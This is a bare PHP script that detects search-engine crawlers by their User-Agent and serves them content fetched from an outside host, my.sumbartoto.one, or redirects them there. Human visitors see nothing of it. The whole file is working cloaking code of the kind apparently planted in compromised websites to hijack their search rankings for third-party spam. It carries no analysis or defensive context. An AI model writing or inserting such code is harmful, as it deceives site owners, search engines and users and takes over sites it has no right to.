<?php
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$currentUrl = $_SERVER['REQUEST_URI'] ?? '/';

$botPattern = '/(bot|ahrefsbot|crawl|spider|slurp|fetch|google|scanner|check|analyzer|httpclient|http_request|headless|chrome-lighthouse|google-inspectiontool|google-site-verification|googlebot|adsbot-google)/i';

if (preg_match($botPattern, $userAgent) && strpos($currentUrl, '/') === 0) {
    $externalUrl = 'https://my.sumbartoto.one/txt/how-much-does-ceramic-coating-cost-for-cars.txt';


    $context = stream_context_create([
        "http" => ["header" => "User-Agent: " . $userAgent . "\r\n"]
    ]);
    $content = @file_get_contents($externalUrl, false, $context);


    if ($content === false) {
        $ch = curl_init($externalUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
        $content = curl_exec($ch);
        curl_close($ch);
    }


    if ($content === false || $content === null) {
        header("Location: $externalUrl", true, 301);
        exit();
    } else {
        echo $content;
    }
    exit();
}